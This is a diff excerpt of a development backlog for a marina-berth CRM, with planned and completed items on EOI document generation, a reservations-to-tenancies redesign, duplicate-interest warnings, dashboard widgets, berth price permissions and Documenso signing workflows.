> - **EOI Generate dialog: "Include yacht details" toggle to omit Section 3 even when a yacht is linked** — _src/components/documents/eoi-generate-dialog.tsx:667-_ (the optional Section 3 "Optional (Section 3 - left blank if absent)" block) + _src/lib/templates/merge-fields.ts:18-39_ (yacht._ + owner._ tokens) + _src/lib/services/documenso-payload.ts_ + _src/lib/pdf/fill-eoi-form.ts_ + _src/lib/services/eoi-context.ts_. Today Section 3 in the EOI is "optional" only in the sense of "left blank if no yacht is linked" — when a yacht IS linked, the section always renders with the yacht's data. Reps sometimes want to omit Section 3 even when a yacht exists: early-stage clients still yacht-shopping (yacht on file is a placeholder), multi-berth EOIs where yacht-specific dims don't apply, or the client explicitly asked to keep it off the document. No path today besides un-linking the yacht (lossy) or generating from a custom one-off template.
|
||||||
|
> - **Two-tier fix:**
|
||||||
|
> - **(a) Baseline (cheap):** add `Include yacht details` Switch/Checkbox to the Optional-section header in EoiGenerateDialog, defaulted ON, only rendered when `ctx.yacht` is set. When OFF, the dialog submits with yacht._ + owner._ merge fields blanked to empty strings (existing template tolerates blanks per the "left blank if absent" copy). In-app PDF fill pathway (`fill-eoi-form.ts`) skips the AcroForm field writes for the yacht block. Persists per-EOI as `documents.metadata.includeYachtDetails` (false) so the audit trail shows the rep's explicit choice; nothing else changes structurally. ~1.5h.
|
||||||
|
> - **(b) Optional polish:** per-port `documenso.templates.eoiWithoutYacht` template variant. When the toggle is OFF AND the port has an alt template configured, the dialog routes to that template instead — cleaner rendering with no Section 3 heading at all (the alt template is laid out without the section). When no alt template, fall back to (a)'s blank-out. ~1-1.5h additional, optional; only worth it once a port asks for the cleaner output.
|
||||||
|
> - **UI placement:** the toggle sits in the same header row as the existing ft/m unit picker (eoi-generate-dialog.tsx:672-694), next to the "Optional (Section 3...)" label — same row, right-aligned, so it's discoverable but doesn't disrupt the field grid below. Header copy updates from "Optional (Section 3 - left blank if absent)" to "Section 3 - yacht details" with the toggle nearby (its state IS the "include or not" affordance now).
|
||||||
|
> - **Out of scope:** conditional template logic (Documenso v1/v2 merge tokens are plain substitution, no `{{#if}}`); a multi-template registry beyond the single alt variant.
|
||||||
|
> - **Effort:** ~1.5-2h for (a) alone; ~3h end-to-end with (b). Captured 2026-05-24 from UAT.
|
||||||
|
> - **🟡 OPEN QUESTION — Reservations module: re-imagine end-to-end as the final A-Z piece of the CRM. NEEDS DESIGN DISCUSSION before any implementation.** — _module surface area for reference: src/lib/db/schema/reservations.ts (berth_reservations table), src/lib/services/berth-reservations.service.ts, src/components/reservations/ (BerthReservationsList, BerthReserveDialog, ReservationDetail), src/components/{clients,yachts,berths}/...-reservations-tab.tsx (read-only consumers), src/components/interests/interest-reservation-tab.tsx (the doc-signing flow, NOT the record flow), src/app/(dashboard)/[portSlug]/berth-reservations/page.tsx (top-level list, unlinked from sidebar)._
|
||||||
|
> - **Status today (discovery, 2026-05-24):** the infrastructure exists end-to-end but the workflow is half-wired and conceptually fragmented:
|
||||||
|
> - `berth_reservations` rows are the canonical "who occupies a berth right now" record (per H-01 schema comment). Status union: `pending | active | ended | cancelled`. Tenure union: `permanent | fixed_term | fee_simple | strata_lot | seasonal`. FK chain: berth + port + client + yacht (all NOT NULL with RESTRICT) + interest (nullable, SET NULL — reservation legitimately outlives the deal).
|
||||||
|
> - Creation surface: ONLY `BerthReserveDialog`, mounted on the berth detail's reservations tab. No client/yacht/interest entry point.
|
||||||
|
> - The `/[portSlug]/berth-reservations` top-level page exists but is NOT in `sidebar.tsx` — invisible navigation-wise.
|
||||||
|
> - The interest pipeline stage `reservation` + `reservationDocStatus` ('sent' / 'signed') is a **separate concept** — it tracks the legal _agreement_ (Documenso doc), not the occupancy _record_. Today a deal can pass through `reservation` stage with a signed agreement and never produce a `berth_reservations` row.
|
||||||
|
> - Client/yacht reservation tabs are read-only listings (active + lazy-loaded history). They render empty for most entities because the creation flow isn't being used.
|
||||||
|
> - **The deeper question:** what should "reservation" actually mean in this CRM? The data model carries five concepts under one umbrella that may need to be teased apart or unified deliberately:
|
||||||
|
> 1. **Occupancy facts** — who's tied up at which berth right now (current `berth_reservations`).
|
||||||
|
> 2. **Forward bookings** — future allocations (status='pending', future startDate).
|
||||||
|
> 3. **Tenure / lease records** — permanent ownership-equivalents (status='active', null endDate, tenureType='permanent' / 'fee_simple' / 'strata_lot').
|
||||||
|
> 4. **Seasonal stays** — short-term winter haul-out / summer slots (status='active', tenureType='seasonal', fixed endDate).
|
||||||
|
> 5. **The legal agreement** — the signed Documenso doc that authorises any of the above (currently lives on `interests.reservation*` fields, not on `berth_reservations`).
|
||||||
|
> - **Open questions to resolve in the design pass:**
|
||||||
|
> - **Q1.** Is "reservation" one concept or several? Today `tenure_type` plus `status` plus `endDate` carve five slices out of one table; would it be clearer as `bookings` (future-dated) + `tenancies` (active occupancy) + `agreements` (signed contracts)? Or is the unification fine and the problem is purely UX/flow?
|
||||||
|
> - **Q2.** Where does the rep _start_ a reservation? Berth-first (today's flow — pick a berth, then assign client/yacht), interest-first (move a deal through pipeline → auto-create on agreement signed), or both? Each implies different default-population + permission shapes.
|
||||||
|
> - **Q3.** Auto-create on agreement signing — yes/no/conditional? If yes, what status: `pending` (rep confirms details after) or `active` (immediate occupancy)? What happens if the signed agreement doesn't carry an explicit startDate?
|
||||||
|
> - **Q4.** Multi-berth interests (per CLAUDE.md, `interest_berths` is source of truth). When a multi-berth EOI/Reservation Agreement is signed, do we mint one reservation per in-bundle berth, or one reservation linked to the primary with the others tracked elsewhere?
|
||||||
|
> - **Q5.** Lifecycle outside the sales pipeline — renewals, transfers (Client A's reservation → Client B), seasonal returns (same client, same berth, year after year). Do these get new rows, or do we mutate? Does the agreement need to be re-signed each time?
|
||||||
|
> - **Q6.** Public map ("Under Offer" / "Sold" precedence) — should an `active` reservation flip the public berth status to something distinct from the existing interest-driven precedence ladder?
|
||||||
|
> - **Q7.** Reporting — what views does leadership actually want? Occupancy heatmap by month? Revenue forecast by tenure expiry? Renewals at risk? The data is there; the surfaces aren't.
|
||||||
|
> - **Q8.** Permissions — who can create / mutate / cancel reservations? Today gated through generic permissions; reservations probably warrant their own permission carve-outs (esp. cancellation, which has revenue implications).
|
||||||
|
> - **Q9.** Empty-state UX on client/yacht tabs — hide-when-empty vs always-show-with-helpful-empty-copy. The hide-when-empty option is cheap (data already returned in the parent loader); the "always show with creation CTA" option requires settling Q2 first (can rep create from these surfaces, or only from berth).
|
||||||
|
> - **Q10.** Integration with invoicing / expenses — does an active reservation drive recurring invoice generation? Tenure expiry → automatic renewal nudge?
|
||||||
|
> - **Sketch of plausible shape (NOT a commitment — anchor for the discussion):**
|
||||||
|
> - **Auto-create on signed `reservation_agreement`** (via existing `handleDocumentCompleted` idempotent webhook receiver). Status `pending`, rep confirms startDate + tenureType in a follow-up modal before flipping to `active`.
|
||||||
|
> - **Sidebar Reservations entry** below Berths, gated by a new `reservations.view` permission.
|
||||||
|
> - **Hide-when-empty** on Client / Yacht tabs (cheapest discoverability win). Berth tab stays always (it's the manual creation surface).
|
||||||
|
> - **Reporting:** at minimum an Occupancy widget on the dashboard (% berths under active reservation), Renewals at risk (active reservations with endDate within next 90 days), Revenue forecast by tenure (sum of berth prices × expected duration).
|
||||||
|
> - **Possible rename for clarity:** "Reservation Agreement" → "Tenancy Agreement" (signed doc); "Reservation" → "Tenancy" (occupancy record). Aligns with marina-industry vocabulary and removes the agreement/record confusion.
|
||||||
|
> - **Why this is the A-Z final piece:** the CRM today covers lead → qualification → EOI → reservation agreement → contract → handover. Reservations are the canonical record of what the sale produced — without them filled in, the system has no answer to "which berths are taken right now and by whom?" beyond ad-hoc interest-state inference. Everything downstream (renewals, occupancy reporting, transfer flows, revenue recognition timing) hangs off this. **Worth a dedicated session to design before any implementation.**
|
||||||
|
> - **Action:** schedule a design session covering Q1-Q10 with stakeholders who care about the operational side (rep workflow + ops/leadership reporting). Output should be a short design doc (`docs/reservations-design.md` or similar) covering data-model decisions (split or unify), workflow entry points, automation rules, reporting surfaces, and a phased rollout. THEN scope into discrete Bucket 3 items. Captured 2026-05-24 from UAT.
|
||||||
|
> - **🟢 DECISIONS LOCKED 2026-05-24 (via AskUserQuestion):**
|
||||||
|
> - **Vocabulary split (key decision):** The pipeline-stage "reservation" + signed "Reservation Agreement" KEEP their names (they describe the right being reserved, not the occupancy). The occupancy record (the `berth_reservations` table + sidebar + client/yacht entity tabs + top-level page) is renamed **"Tenancy."** A Reservation Agreement gets signed → results in a Tenancy.
|
||||||
|
> - **Q1 data model:** Unify — keep `berth_reservations` (to be renamed `tenancies`) as one table with `tenure_type` + `status` as discriminators. The problem isn't the model — it's that flows / nav / reporting aren't wired. Schema rename pass + the workflow fixes below.
|
||||||
|
> - **Q2 entry points:** All four creation surfaces — berth detail (existing), interest detail (new, at reservation stage+), top-level `/tenancies` page (new sidebar entry), client detail (new). Each pre-fills from its parent context.
|
||||||
|
> - **Q3 auto-create:** Auto-create as `pending` on signed reservation_agreement via the existing idempotent `handleDocumentCompleted` webhook. Rep confirms `startDate` + `tenureType` in a follow-up modal before `pending → active`. Default `startDate` = signed date if not on the doc.
|
||||||
|
> - **Q4 multi-berth:** One tenancy per in-bundle berth (loop `interest_berths WHERE is_in_eoi_bundle=true`). Each gets its own lifecycle (renewals, ends independently).
|
||||||
|
> - **Q5 renewals:** Configurable per tenure type — `permanent` / `fee_simple` / `strata_lot` → mutate the existing row (one record forever). `seasonal` / `fixed_term` → new row each cycle, linked via `previous_tenancy_id` self-FK.
|
||||||
|
> - **Q5 transfers:** End old tenancy (`status='ended'`, `endDate=transfer date`) + mint new tenancy for new client with `transferred_from_tenancy_id` FK back to the old one. Preserves history.
|
||||||
|
> - **Q6 public map:** Active tenancy auto-flips `berths.status='sold'` ONLY when `tenure_type IN ('permanent', 'fee_simple', 'strata_lot')`. `seasonal` / `fixed_term` don't (they're temporary). Reversed when tenancy ends + no replacement is active.
|
||||||
|
> - **Q7 reporting (locked):** All four widgets ship in v1 — Occupancy heatmap by month, Renewals at risk (next 90 days), Revenue forecast by tenure expiry, Tenancy by tenure type breakdown. All four are gated by the platform-wide module-enabled rule below (don't render when the Tenancies module is dormant).
|
||||||
|
> - **Q8 permissions:** Three perms — `tenancies.view` (read), `tenancies.manage` (create + mutate + transfer; default super_admin + sales_manager + sales_agent), `tenancies.cancel` (cancel only; default super_admin + sales_manager). Cancel gets its own perm because of revenue implications.
|
||||||
|
> - **Q9 empty-state UX:** Always show the tab on Client / Yacht detail **when the Tenancies module is enabled** (see platform-wide rule below). When empty, render a friendly empty-state (icon + "No tenancies yet" + a "Create tenancy" button if user has `tenancies.manage`). Discoverable + drives the creation flow.
|
||||||
|
> - **Q10 invoicing:** v1 ships READ-ONLY — no auto-invoice generation on tenancy lifecycle. Decouple invoicing; revisit once we see how ports actually use the tenancy data.
|
||||||
|
> - **Platform-wide module-enabled rule (locked 2026-05-25):** the entire Tenancies module surface area is hidden by default. **A sold berth stays sold without any tenancy data** — the platform does not assume tenancies exist for sold berths. The Tenancies module only surfaces when EITHER (a) at least one `tenancies` row exists for the port (lazy auto-enable on first creation, including auto-create from a signed reservation_agreement), OR (b) an admin has explicitly enabled it via a new `system_settings.tenancies_module_enabled` boolean (default `false`). When disabled: hide sidebar entry, hide Client/Yacht/Berth `Tenancies` tab, hide all four reporting widgets from dashboard registry, hide top-level `/{portSlug}/tenancies` page (404), skip auto-create branch in `handleDocumentCompleted` (signed reservation_agreement still progresses the interest stage and flips `reservationDocStatus`, but does NOT mint a `tenancies` row). Admin Settings → Operations gets a "Tenancies module" toggle with helper copy explaining what enabling/disabling does + a warning when disabling with existing rows ("This will hide N existing tenancies — data is preserved but invisible until re-enabled"). Module auto-flips to enabled on first row insert; never auto-disables.
|
||||||
|
> - **Action:** scope into Bucket 3 items. Next steps: write `docs/tenancies-design.md` covering (1) table rename migration (`berth_reservations` → `tenancies` + `previous_tenancy_id` + `transferred_from_tenancy_id` self-FKs), (2) webhook auto-create branch (gated on module-enabled), (3) status-flip rules for public map, (4) sidebar entry + new permissions + module-enabled gating, (5) reporting widgets (all four, module-gated), (6) entity-tab empty-state CTAs (module-gated), (7) admin Operations toggle + auto-enable-on-first-insert behavior. Then split into PRs.
|
||||||
|
> - **Interest create: duplicate-detection warning (overlap with existing open interest for same client)** — _src/lib/services/interests.service.ts_ (new helper `findOverlappingOpenInterests(portId, clientId, berthIds, { excludeInterestId? })`) + _src/lib/services/interest-berths.service.ts_ (read-side helper) + _src/components/interests/interest-form.tsx_ (new pre-submit warning panel) + _new route_ `GET /api/v1/interests/duplicate-check?clientId=...&berthIds=...`. Today a rep can create an "A1" interest for a client and then a second "A1-A10" interest for the same client without any signal — silent data quality erosion that compounds across pipeline reports, the public map ("Under Offer" precedence), recommender tier ladder, EOI bundles. Decision: **warn, do not block** — legitimate cases exist (re-opening a lost deal, parallel scenarios, renewal alongside existing).
|
||||||
|
> - **Detection scope:** match on `client_id` + ANY berth-set intersection. "Open" = `outcome IS NULL` (or non-terminal); closed/lost/won interests are excluded from the warning. Use `interest_berths` as the source of truth (per CLAUDE.md — `interests.berth_id` does not exist post-0029); intersection is any shared `berth_id` across the candidate's berth list and any open sibling interest's berth list. Multi-tenant scope enforced via `port_id` on both sides of the join.
|
||||||
|
> - **Service shape:** `findOverlappingOpenInterests(portId, clientId, berthIds, { excludeInterestId? })` returns `Array<{ id, displayLabel, pipelineStage, currentBerths: string[], overlappingBerths: string[], updatedAt }>` — sorted most-recent first. `displayLabel` reuses the same derivation used for the document-detail Interest sub-label (berth-range via `formatBerthRange()`).
|
||||||
|
> - **UI shape (interest-form.tsx):** debounce-fire the check (300 ms) whenever both `clientId` and ≥1 berth are set; render an amber `<Alert>` (NOT `destructive`) above the submit row with copy `Possible duplicate — this client already has {N} open interest{plural} that overlap{s} with the selected berth{s}` + a list of conflicting interest chips (each linking out to `/{portSlug}/interests/{id}` in a new tab). No blocking — Submit stays enabled. On edit (existing interest), pass the interest id as `excludeInterestId` so the form doesn't flag itself. Same alert appears whenever the rep adds/removes a berth such that the overlap set changes.
|
||||||
|
> - **Edit mode behaviour:** also fires on edits — a rep extending an existing interest's berth set into another open interest's territory gets the same warning.
|
||||||
|
> - **Out of scope (intentional):** no admin-configurable strict-block toggle; no warning for closed-outcome siblings; no warning across tenants. Keep it dead-simple now and revisit if data quality issues persist.
|
||||||
|
> - **Effort:** ~1.5-2h (service helper + integration test for the overlap query + lightweight route + form-side hook + UI panel + a single Playwright smoke covering the create + edit paths). Captured 2026-05-24 from UAT. Cross-ref: pairs with existing "berth pre-flight dup check" (already shipped) — same intent (data quality at create time), different axis (this one is client-scoped, that one is berth-scoped).
|
||||||
|
|
||||||
1. **Berth-demand widget visual overhaul** — _src/components/dashboard/berth-heat-widget.tsx_ — original "Berth heat" widget was a generic table that read as uninspired. First pass added an editorial hero + gradient — that strayed from the standard `CardHeader`/`CardContent` idiom and looked out of place next to siblings. Final version matches `hot-deals-card.tsx`'s layout exactly (icon + title + description in CardHeader, list of `-mx-2 hover:bg-accent/60` rows in CardContent); the visual upgrade is the per-row status-coloured magnitude bar. UI label renamed "Berth Heat" → "Berth Demand" in `widget-registry.tsx`. Fixed in this session.
|
1. **Berth-demand widget visual overhaul** — _src/components/dashboard/berth-heat-widget.tsx_ — original "Berth heat" widget was a generic table that read as uninspired. First pass added an editorial hero + gradient — that strayed from the standard `CardHeader`/`CardContent` idiom and looked out of place next to siblings. Final version matches `hot-deals-card.tsx`'s layout exactly (icon + title + description in CardHeader, list of `-mx-2 hover:bg-accent/60` rows in CardContent); the visual upgrade is the per-row status-coloured magnitude bar. UI label renamed "Berth Heat" → "Berth Demand" in `widget-registry.tsx`. Fixed in this session.
|
||||||
2. **First-class "demand" sort on the berths list** — _src/lib/services/berths.service.ts_, _src/components/berths/berth-columns.tsx_, _src/lib/validators_ — added `?sort=activeInterestCount` to the berths-list service via a correlated subquery in `customOrderBy`; attached `activeInterestCount` per row using the existing two-pass post-fetch pattern (alongside tags/latestInterestStage); added the "Active interests" column to `BERTH_COLUMN_OPTIONS` (default-visible, sortable). Widget's "View all by demand →" link deep-links to `/berths?sort=activeInterestCount&order=desc`. Saved views and the column picker can now use the same lens. Fixed in this session.
|
2. **First-class "demand" sort on the berths list** — _src/lib/services/berths.service.ts_, _src/components/berths/berth-columns.tsx_, _src/lib/validators_ — added `?sort=activeInterestCount` to the berths-list service via a correlated subquery in `customOrderBy`; attached `activeInterestCount` per row using the existing two-pass post-fetch pattern (alongside tags/latestInterestStage); added the "Active interests" column to `BERTH_COLUMN_OPTIONS` (default-visible, sortable). Widget's "View all by demand →" link deep-links to `/berths?sort=activeInterestCount&order=desc`. Saved views and the column picker can now use the same lens. Fixed in this session.
|
||||||
3. **Pipeline Value tile expanded with per-stage breakdown** — _src/components/dashboard/pipeline-value-tile.tsx_, _src/lib/services/dashboard.service.ts_ — replaced the single-number KPI with a richer card: gross headline + weighted forecast on top, per-stage rows below (label · mini bar · gross value · count + close-probability), and a footnote when default stage weights are in use. Service `getRevenueForecast` extended to return `grossValue`, `weight`, `totalGrossValue`, and `dealsMissingPrice` alongside the existing weighted shape; the tile pulls from `/kpis` (for gross + currency + activeInterests) and `/forecast` (for breakdown). Per-stage warning chip surfaces when berths are missing a `price` so a silently undercounted gross is visible (full coverage → "berth price missing", partial → "N of M missing price"). Leadership can now see how much of the headline is near-close vs speculative. Fixed in this session.
|
3. **Pipeline Value tile expanded with per-stage breakdown** — _src/components/dashboard/pipeline-value-tile.tsx_, _src/lib/services/dashboard.service.ts_ — replaced the single-number KPI with a richer card: gross headline + weighted forecast on top, per-stage rows below (label · mini bar · gross value · count + close-probability), and a footnote when default stage weights are in use. Service `getRevenueForecast` extended to return `grossValue`, `weight`, `totalGrossValue`, and `dealsMissingPrice` alongside the existing weighted shape; the tile pulls from `/kpis` (for gross + currency + activeInterests) and `/forecast` (for breakdown). Per-stage warning chip surfaces when berths are missing a `price` so a silently undercounted gross is visible (full coverage → "berth price missing", partial → "N of M missing price"). Leadership can now see how much of the headline is near-close vs speculative. Fixed in this session.
|
||||||
4. **"How weighted forecast works" info popover on the Pipeline Value tile** — _src/components/dashboard/pipeline-value-tile.tsx_ — added an `Info` icon next to the description that opens a `Popover` (click or hover) explaining the close-probability model + showing the per-stage weight table (live from `/forecast`, fallback to `STAGE_WEIGHTS` constant) + a note about whether default or per-port weights are in use. Fixed in this session.
|
4. **"How weighted forecast works" info popover on the Pipeline Value tile** — _src/components/dashboard/pipeline-value-tile.tsx_ — added an `Info` icon next to the description that opens a `Popover` (click or hover) explaining the close-probability model + showing the per-stage weight table (live from `/forecast`, fallback to `STAGE_WEIGHTS` constant) + a note about whether default or per-port weights are in use. Fixed in this session.
|
||||||
5. **Bulk + inline berth price editing — backend complete** — _src/lib/db/schema/users.ts_, _src/lib/db/seed-permissions.ts_, _src/components/admin/roles/role-form.tsx_, _src/components/admin/users/user-permission-matrix.tsx_, _src/app/api/v1/admin/users/[id]/permission-overrides/route.ts_, _src/lib/validators/berths.ts_, _src/lib/services/berths.service.ts_, _src/app/api/v1/berths/[id]/price/route.ts_, _src/app/api/v1/berths/bulk-update-prices/route.ts_, _tests/helpers/factories.ts_ — new `berths.update_prices` permission carved out from generic `berths.edit` so sales reps can update prices without exposing the full edit surface. Permission seeded on for super_admin/director/sales_manager/sales_agent, off for viewer/residential_partner. New validators (`updateBerthPriceSchema`, `bulkUpdateBerthPricesSchema` capped at 500/batch), services (`updateBerthPrice`, `bulkUpdateBerthPrices`, both transactional + per-row audited with `fieldChanged='price'` + realtime `berth:updated` + webhook fan-out), and routes (`PATCH /api/v1/berths/[id]/price`, `POST /api/v1/berths/bulk-update-prices`). UI shipping in a follow-up — see Features bucket #1. Fixed in this session.
|
5. **Bulk + inline berth price editing — backend complete** — _src/lib/db/schema/users.ts_, _src/lib/db/seed-permissions.ts_, _src/components/admin/roles/role-form.tsx_, _src/components/admin/users/user-permission-matrix.tsx_, _src/app/api/v1/admin/users/[id]/permission-overrides/route.ts_, _src/lib/validators/berths.ts_, _src/lib/services/berths.service.ts_, _src/app/api/v1/berths/[id]/price/route.ts_, _src/app/api/v1/berths/bulk-update-prices/route.ts_, _tests/helpers/factories.ts_ — new `berths.update_prices` permission carved out from generic `berths.edit` so sales reps can update prices without exposing the full edit surface. Permission seeded on for super_admin/director/sales_manager/sales_agent, off for viewer/residential_partner. New validators (`updateBerthPriceSchema`, `bulkUpdateBerthPricesSchema` capped at 500/batch), services (`updateBerthPrice`, `bulkUpdateBerthPrices`, both transactional + per-row audited with `fieldChanged='price'` + realtime `berth:updated` + webhook fan-out), and routes (`PATCH /api/v1/berths/[id]/price`, `POST /api/v1/berths/bulk-update-prices`). UI shipping in a follow-up — see Features bucket #1. Fixed in this session.
|
||||||
|
6. **Cancel-document: choose delete-from-Documenso vs keep-for-audit** — _src/lib/services/documents.service.ts (cancelDocument)_ + _src/lib/services/documenso-client.ts (voidDocument)_ + every cancel-document UI surface (interest reservation tab, contract tab, EOI cancel dialog, send-document dialog admin actions, etc.) — today cancel always fires `DELETE /api/v2/envelope/{id}` (or v1 equivalent), which unclogs the Documenso instance but loses the upstream audit trail. UX ask: present the rep with an explicit choice on cancel: (a) **Delete upstream** (current behaviour — frees the Documenso slot, history rendered from CRM `documents` row only) or (b) **Keep for audit** (local row → `status='cancelled'`, no DELETE call; rep can later reopen on Documenso for forensics). Default to (a). Plumb a `cancelMode: 'delete' | 'keep_remote'` param through `cancelDocument` + the route handler; only call `documensoVoid` when mode === 'delete'. ~1-1.5h: service param + UI radio in the existing confirm-cancel dialog + audit-doc-status reflection in the cancelled-doc badge ("Cancelled, kept on Documenso" when keep_remote). Captured 2026-05-22.
|
||||||
|
7. **Document signature reminders: drop rate-limit when automatic** — _src/components/interests/interest-reservation-tab.tsx:740_ ("Reminders are rate-limited (max once per 7 days per signer)") + the underlying remind-signer service. Today both manual and scheduled-auto reminders share the same 7-days-per-signer throttle. The cap is right for manual clicks (avoids harassment) but breaks the auto-cadence cron: if the rules engine wants to nudge a stale signer every 3 days, it gets swallowed. Plumb a `triggeredBy: 'manual' | 'auto'` flag from the caller and skip the rate-limit when `auto` (the cron's own cadence is the throttle). Manual UI keeps the 7-day cap. ~30-45 min: service param + cron caller + UI copy update ("Reminders are rate-limited for manual sends — automatic follow-ups run on the configured cadence"). Captured 2026-05-22.
|
||||||
|
8. **EOI tab: add upload-draft-then-place-fields option (parity with Contract / Reservation)** — _src/components/interests/interest-eoi-tab.tsx_ (no `UploadForSigningDialog` mount yet) + _src/app/api/v1/interests/[id]/upload-for-signing/route.ts_ (`documentTypeSchema` is locked to `'contract' | 'reservation_agreement'`) + _src/lib/services/custom-document-upload.service.ts_ (`CustomDocumentType` union, `targetStage` switch, `dateContractSent` / `reservationDocStatus` branch). EOI currently has two paths — template-generated (`EoiGenerateDialog`, `/template/{id}/generate-document`) and external paper-signed upload (`ExternalEoiUploadDialog`, `markExternallySigned`) — but no upload-draft-then-drag-fields flow like Contract/Reservation. Reps with a bespoke EOI PDF have to either generate from template (loses custom layout) or mark-as-external (no signing). Fix shape: extend the union to `'eoi'`, add an EOI branch to the stage-advance + doc-status switch (`pipelineStage='eoi_sent'`, `eoiDocStatus='sent'`, `dateEoiSent`), wire `<UploadForSigningDialog documentType="eoi">` into the EOI tab next to the existing "Generate EOI" CTA. Effort: ~2-3h including the route validator bump, service branch, UI mount, and a smoke playwright run. Captured 2026-05-22.
|
||||||
|
9. **Surface per-signer copyable signing URLs on every Documenso-driven doc** — _src/components/interests/interest-eoi-tab.tsx_, _src/components/interests/interest-reservation-tab.tsx_, _src/components/interests/interest-contract-tab.tsx_, _src/components/documents/signing-details-dialog.tsx_, _src/components/shared/send-document-dialog.tsx_ — once a document has been created in Documenso, each signer's `signingUrl` is already stored on the `document_signers` row (returned by `/api/v1/documents/{id}/signers`). Today the rep sees Pending / Invited badges but no way to grab a specific signer's signing URL for QA or manual delivery. Add a "Copy signing link" button next to each signer row across every signing-doc tab (EOI / Reservation / Contract / SigningDetails / SendDocument admin panel). Behaviour: button is disabled when `signingUrl` is null (Documenso hadn't returned a URL yet — e.g. send-mode failure); on click, copy to clipboard via `navigator.clipboard.writeText`, toast "Signing link copied" + the truncated URL. Useful for: smoke-testing the signing flow without spamming the rep's inbox, manually pasting a link into a custom email or Slack DM when the auto-send mode failed, and for sales reps who want to QA the look of the page before the customer touches it. ~30-45 min, all UI surface work — backend already exposes the data. Captured 2026-05-22.
|
||||||
|
10. **Per-template "Send a test" tester for every transactional email the system emits** — _src/components/admin/branding/email-preview-card.tsx_ (current sample-only tester), _src/lib/email/templates/_ (all template files), _src/app/api/v1/admin/branding/email-preview/route.ts_ (current endpoint), new endpoint `/api/v1/admin/email/test-template`. Today the admin can send ONE generic branded shell from Branding, plus an SMTP-connectivity ping from Email — but no way to fire a specific template (password reset, EOI invitation, signing reminder, GDPR export ready, portal activation, reminder digest, bounce-back notice, …) to a designated address. Add a per-template tester card: dropdown of every registered template (read from a central template registry exposing `id, label, sampleProps`), recipient email input, "Send test" button. Backend route renders the selected template with realistic sample props (port branding, fake but plausible client/yacht/EOI), pipes through the same sender helper as the real flow, returns delivery status. Goes on the Email admin page next to the existing SMTP test card. Effort: ~2-3h (registry + endpoint + card + sample-prop fixtures for each template). Captured 2026-05-22.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -528,8 +739,21 @@ _Component refactors, multi-file edits, single-service tweaks, new validators._
|
|||||||
|
|
||||||
_New UI surfaces, new endpoints, schema migrations, multi-step flows._
|
_New UI surfaces, new endpoints, schema migrations, multi-step flows._
|
||||||
|
|
||||||
> **[Umami] Larger follow-ups parked at end of 2026-05-19 build session:**
|
> **[Captured 2026-05-24 from UAT]**
|
||||||
>
|
>
|
||||||
|
> - **Interest dimensions: dual-source model (yacht dims + desired dims) with per-interest source-of-truth + recommender view-time toggle** — _src/components/interests/interest-form.tsx:670-710_ (the "Berth size desired" section, the `space-y-3` block in the React grab) + _src/lib/db/schema/interests.ts_ (new column) + _src/lib/services/berth-recommender.service.ts:379-455_ (predicate builder reads `desired*` straight off `interests` today; no yacht lookup) + _src/components/interests/berth-recommender-panel.tsx_ (new view-time picker) + _src/lib/services/qualification.service.ts_ (`computeAutoSatisfied` + `computeEvidence` — already accept either as evidence, need to clarify which is active). Today the rep manually types desired length/width/draft into the interest form. If a yacht is linked (yachts carry their own `length_ft / width_ft / draft_ft` per `src/lib/db/schema/yachts.ts:32-34`), those measurements are invisible inside the interest form — the rep has to navigate to the yacht detail page to read them, then transcribe (or estimate desired-dims around) them by hand. The two dim sets are also conceptually different (yacht = the actual boat the client owns; desired = the box the rep is shopping berths for — could legitimately differ if the rep is targeting a smaller/larger slot for upsell, or if the client is yacht-shopping in parallel). Today's recommender uses `desired*` only, ignoring yacht dims even when desired-dims are blank.
|
||||||
|
> - **Three coupled changes:**
|
||||||
|
> - **(a) Display yacht dimensions inside the "Berth size desired" section** when a yacht is linked. New read-only row above the editable Length/Width/Draft inputs showing the linked yacht's measurements as chips (e.g. `Yacht (Fiona III): 58 ft × 16 ft × 5 ft`). Renders empty / hidden when no yacht linked OR yacht has no recorded dims. Honors the existing `desiredUnit` toggle (ft ↔ m) so the chip values switch alongside the inputs.
|
||||||
|
> - **(b) Source-of-truth toggle persisted on the interest** — new column `interests.dimension_source` (`'yacht' | 'desired'`, nullable; null = auto = `'yacht' if yacht linked AND has dims else 'desired'`). UI: segmented control / radio above the dim inputs ("Use yacht dimensions" / "Use desired dimensions") shown only when a yacht is linked AND has dims (otherwise hidden; effective source is implicitly `'desired'`). Selecting "Use yacht dimensions" greys out (doesn't clear) the manual inputs — desired-dim values stay persisted but ignored by downstream consumers. Selecting "Use desired dimensions" re-enables them. Consumers (recommender, qualification evidence display, anywhere else that needs canonical dims) resolve through a new helper `resolveInterestDimensions(interest, yacht?)` that returns `{ source, lengthFt, widthFt, draftFt }` based on `dimension_source`.
|
||||||
|
> - **(c) Recommender panel: view-time toggle (independent of persisted preference)** — _src/components/interests/berth-recommender-panel.tsx_ — at top of panel, a third segmented control: `Recommend for: [Yacht] [Desired] [Both]`. Defaults to the interest's persisted `dimension_source`. Flipping it doesn't update the interest record — it's purely a query parameter for the current panel session, so the rep can explore "what if I shopped against the yacht's actual dims instead of the desired ones?" without committing. `[Both]` runs two queries side by side and shows the union with a tiny `via Yacht` / `via Desired` tag on each row's chip. Panel also surfaces a one-line note like "Recommendations using **yacht** dimensions (58 × 16 × 5 ft) - [switch]" so the rep always knows which lens is active. Recommender service accepts an explicit `inputOverride: { lengthFt, widthFt, draftFt }` param to honor the view-time selection without rereading the persisted preference.
|
||||||
|
> - **Service signature:** `getRecommendations(interestId, { dimensionsOverride?: { lengthFt, widthFt, draftFt }, ...rest })` — when `dimensionsOverride` is set, predicates 437-455 use those numbers; otherwise resolve from `dimension_source` via the new helper. Falls through to whichever is non-null when one set is missing (no yacht → desired; no desired → yacht; neither → unconstrained query, current fall-through behavior).
|
||||||
|
> - **Qualification evidence:** `computeAutoSatisfied` keeps accepting either as evidence for "Dimensions confirmed", but `computeEvidence` updates its label so the rep can see which one drove the tick: `Yacht: 58 × 16 × 5 ft (active source)` vs `Yacht: 58 × 16 × 5 ft (desired-dims active)` etc.
|
||||||
|
> - **Edge cases:**
|
||||||
|
> - Yacht linked but has zero/null dims → toggle hidden, effective source = desired, dim chip shows `Yacht (Fiona III): no recorded dimensions`.
|
||||||
|
> - Yacht unlinked after dim_source='yacht' was selected → effective source flips to 'desired' (the helper has the fall-through). DB value stays 'yacht' so re-linking the yacht restores the original intent.
|
||||||
|
